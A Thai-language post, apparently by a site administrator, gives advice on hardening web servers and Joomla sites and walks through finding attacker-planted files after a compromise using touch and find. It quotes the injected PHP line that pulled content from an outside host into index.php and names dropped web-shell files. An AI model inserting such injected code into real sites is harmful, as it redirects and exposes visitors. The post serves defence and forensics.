มีคำแนะนำสำหรับการทำ Website ให้ปลอดภัยไม่โดน Hack

เมื่อไม่นานมานี้ได้รับแจ้งจาก User ว่า เว็บไซต์ถูก Hacker เจาะเข้ามาเปลี่ยน หน้าตาของเว็บ แต่เป็นที่น่าเสียดาย User ไม่ได้ทำการ copy หน้าเว็บที่แจ้งมานั้นไว้ให้ ทำให้จำเป็นที่จะต้องกลับมาลองค้นหาวิธีการ หรือรูปแบบที่ Hacker ใช้เพื่อการโจมตี จากการที่เคยเข้าแก้ไขเว็บไซต์ต่างๆ ที่โดน Hack ในช่วงเวลาที่ผ่านนั้นก็จะพบว่ามีรูปแบบเดิมๆ ในการทำงาน เช่น

๑. เนื่องจาก Web server นั้นมีการเปิด Permission ของ directory เป็นแบบ ๗๗๗ หรือ world writable หรือแม้แต่เปิดสิทธิ์ให้ web user เช่น apache/httpd/www-data สามารถเขียนได้

๒. Web server นั้นเมื่อมีพื้นที่ให้ web user เขียนได้ แล้ว Web Application ที่ User ใช้นั้น มีช่องโหว่ หรือไม่ก็มีการทำงานปรกติที่เปิดให้ Web User เขียนไฟล์ได้ตามปรกติ ก็เป็นช่องให้เกิดการ “วางไฟล์” ซึ่ง Hacker จะเข้ามาเรียกไฟล์ดังกล่าว ซึ่งจะได้สิทธิเป็น Web User ทำการแก้ไขไฟล์, นำไฟล์ .c มาวางแล้ว compile ต่อไป ซึ่งอาจจะทำให้เกิด Buffer Overflow จนกระทั่งสามารถครอง Server ได้เลย

วิธีการที่แนะนำสำหรับการทำ Website ให้ปลอดภัย ก็คือ

๑. ในเครื่องที่เป็น Production Server ต้องไม่มี Compiler, Development Tools เช่น gcc อยู่เลย

๒. หากใช้ CMS ต่างๆ เช่น Joomla การปรับปรุงหลักๆ เช่นการเปลี่ยน Template, เพิ่ม Component หรือ อะไรที่มีการเปลี่ยนแปลงระดับไฟล์ (ไม่รวมการเขียนพวก Article หรือบทความ เพราะเป็นการเขียนไปยัง Database ไม่ใช่ระดับไฟล์) ก็ควร ยกเลิกการทำงานทาง Backend ผ่าน Web แต่ให้ใช้วิธีสร้างหรือปรับเปลี่ยนจากเครื่องทดสอบ แล้วใช้วิธี FTP ขึ้นไป บน Production Server แทน แล้วปรับให้ Owner เป็นอะไรที่ไม่ใช่ Web User หรือ ต้องไม่ให้ Web User เขียนได้ วิธีนี้ อาจจะไม่สะดวก แต่ แลกกับความปลอดภัย เป็นวิธีที่จำเป็น ลองสังเกตว่า ทำไม Joomla รุ่นใหม่ๆ จึงเปิดให้มีการ Update ผ่านทาง FTP ด้วย

๓. ถ้า Website มีความจำเป็นต้องให้ผู้ใช้ทั่วไปสามารถ Upload ไฟล์ได้ ต้องเปลี่ยนสิทธิ์ Permission ใน directory ที่เอาไฟล์ขึ้นไปวางนั้น ต้องไม่สามารถ Execute ได้, ลองพิจารณาการใช้ .htaccess ร่วมด้วย

๔. ในกรณี CMS ถ้ามีการใช้ Component หรือ Module อะไร ก็ต้องติดตามดูเรื่อง ช่องโหว่ต่างๆ และทำการปรับปรุงรุ่นสม่ำเสมอ ล่าสุด น่าเป็นห่วงกลุ่มที่ใช้ JCE (รุ่นยังไม่แน่ชัด) กับ Phoca Gallery เพราะมีความสามารถในการ Upload ไฟล์และเป็นที่นิยม ทั้งของกลุ่มผู้ใช้และ Hacker อาจจะทำให้ใช้งานยากขึ้น แต่ ถ้าต้องการความปลอดภัย เรื่องเหล่านี้จำเป็นมาก ต่อไป เมื่อพบว่าโดน Hacker เข้ามาเยี่ยมแล้ว ... จะมีอาการอย่างไรบ้าง ล่าสุด พบ Website ที่ใช้ Joomla โดน Hack, โดยเมื่อเปิดไปยัง URL หลัก จะพบว่ามีการ Redirect ไปยัง Website อื่นๆ และเปลี่ยนไปเรื่อย เมื่อลองดู Source โดยการ View Source พบว่ามีการแทรกบรรทัดสุดท้ายไว้ว่า (ไฟล์ index.php อยู่ที่ Document Root ของ site นี้เลย)

```
echo file_get_contents('http://www.sorgulatr.com/๑.htm');
```

ต่อไปนี้ เป็นขึ้นตอนการตรวจสอบว่า มีการวางไฟล์ใดไว้บ้าง กรณีเวบถูกแฮ็ค

๑. เริ่มจากดูว่า วันที่ ที่มีการเปลี่ยนแปลงไฟล์ index.php คือวันใด ด้วยคำสั่ง ls -l index.php ก็จะพบว่า -rwxr--r-- ๑ apache staff ๒๑๐๖ Mar ๒๒ ๐๐:๕๐ index.php

๒. ก็คาดว่า มีการ hack เข้ามาเมื่อวันที่ ๒๒ มีนาคม ก็น่าจะมีการวางไฟล์ในเวลาใกล้เคียงกัน จึงใช้วิธีต่อไปนี้ในการหาว่า มีการวางไฟล์อื่นๆไว้ที่ใดบ้างด้วยคำสั่ง

touch --date "๒๐๑๓-๐๓-๒๒" /tmp/foo find ./ -newer /tmp/foo

จึงได้รู้ว่ามีการเขียนไฟล์ไว้ที่

./libraries/tcpdf/cache

./administrator/cache/๓๘๗๘๘๘๑๔๐๘๒๔๔baa๔de๐๕cad๓๙๐๘๙๓๗.spc

./index.php

./configuration.php

./images/stories

./media

./media/bb.php

./tmp

./cache

./cache/z.txt

./cache/sok.php

./cache/exploit.conf

./cache/ubuntu.c

คาดว่าน่าจะเจาะผ่าน ./media กับ ./cache จากนั้นลองเปิด http://xxxxx.psu.ac.th/media/bb.php ได้ web ที่สามารถเข้าไป browse ไฟล์ทั้งเครื่องได้

๓. ยังไม่ไว้ใจ จึงดูว่า website นี้ ผู้ติดตั้งตัวจริง น่าจะสิ้นสุดการ update เมื่อใด จึงสันนิษฐานว่า คงเป็นวันเดียวกับที่เปลี่ยน directory ชื่อ installation เป็นชื่ออื่น นั่นคือ วันที่ Mar ๒ ๒๐๑๒ จึงใช้คำสั่ง

touch --date "๒๐๑๒-๐๓-๐๒" /tmp/foo

find ./ -newer /tmp/foo

พบว่ามีไฟล์ต่างๆเกิดขึ้น แต่เป็นไฟล์ภาพ และเอกสารพวก .pdf, .doc ซึ่งน่าจะเป็นการใช้งานปรกติ แต่ก็มีไฟล์พวกนี้ด้วย

./sejeal.jpg ./media/mod.php ./media/sok.php ./cache/ab.txt

พบว่า sejeal.jpg นั้นเป็นภาพแสดงตัวของ Hacker ว่า ฉันเป็นคน Hack ที่นี่ได้ ซึ่งไฟล์เป็นของวันที่ Feb ๓, ๒๐๑๓ นอกจากนั้นเป็นไฟล์ที่ใช้ในการ Hack, แถมมีคู่มือในการ Hack ซึ่งแสดงช่องโหว่ของ JCE ไว้ด้วยในไฟล์ ab.txt

บทสรุป:

๑. เมื่อพบว่าเว็บไซต์ โดน Hack ควรตรวจสอบว่า วันที่ของไฟล์ที่แสดงอาการ คือวันใด แล้วใช้คำสั่ง touch --date "๒๐๑๓-๐๓-๒๒" /tmp/foo เพื่อสร้างไฟล์ ซึ่งตั้งค่าวันที่เปลี่ยนแปลงเป็นวันนั้นๆ ไว้ที่ /tmp ตั้งชื่อว่า foo แล้วใช้คำสั่ง find ./ -newer /tmp/foo เพื่อค้นหาว่า ที่ Document Root ของ website นั้น มีไฟล์ใดบ้างที่ถูกแก้ไขในวันเดียวกัน, จากนั้น อาจจะลองดูรายละเอียด ถ้าเป็นไฟล์ของระบบ ก็แก้ไขกลับเป็นเหมือนเดิม หรือไม่ก็ลองพิจารณา ติดตั้ง CMS ใหม่ (อาจจะสายไปแล้ว)

๒. ตรวจสอบด้วยวิธีการเดียวกัน แต่ให้เลือกวันที่ของ /tmp/foo เป็นวันที่สุดท้ายที่ทำการเปลี่ยนแปลงไฟล์ของ CMS นี้ เพื่อดูว่า ตลอดเวลาที่ผ่านมา มีใครเอาไฟล์มาวางแปลกๆ ไว้บ้าง